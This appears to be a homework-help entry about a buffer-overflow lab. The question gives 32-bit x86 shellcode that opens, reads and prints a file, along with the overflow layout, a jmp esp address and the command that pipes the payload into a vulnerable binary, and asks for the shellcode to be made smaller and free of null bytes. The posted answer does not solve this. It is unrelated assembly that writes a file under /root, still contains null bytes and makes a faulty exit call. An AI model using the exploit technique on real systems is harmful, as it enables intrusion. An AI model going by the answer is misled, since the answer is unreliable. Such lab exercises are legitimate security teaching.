Please modify the shellcode below. •Remove any null bytes (0x00) •Remove any new
ID: 3918254 • Letter: P
Question
Please modify the shellcode below.
•Remove any null bytes (0x00)
•Remove any newline bytes (0x0a)
•Reduce the size as much as possible
Must include:
- Modified shellcode (both raw bytes and assembly instructions).
- A brief description. Your shellcode size, and what techniques you used to make it so.
- A screenshot proving that it works.
Shellcode:
; [16 bytes buffer] [4 bytes ebp] [4 bytes return] [... bytes shellcode]
; jmp esp @ 0x08048526 (&0x08)
; filename @ 0x08049b12 (0x08049af4 + 30)
; echo -en "AAAAAAAAAAAAAAAABBBB&̀ø ̀ ̀" > input
; /usr/local/bin/bof < input
; Currently this shellcode is 63 bytes, and contains NULLs (0x00).
; sys_open file
mov eax, 5
mov ebx, 0x08049b12
mov ecx, 0
mov edx, 0
int 0x80
; sys_read from file into memory
mov ebx, eax
mov eax, 3
mov ecx, 0x08049b12
mov edx, 99
int 0x80
; sys_write memory to terminal
mov eax, 4
mov ebx, 1
mov ecx, 0x08049b12
mov edx, 99
int 0x80
Explanation / Answer
.section .data file: .ascii "/root/Desktop/lol" .section .text .global _start: _start: movl $5, %eax movl $file, %ebx movl $03101, %ecx movl $0666, %edx int $0x80 movl %eax, %ebx movl $4, %eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx movl $12, %edx int $0x80 movl $1, %eax movl $5, %edx int $0x80
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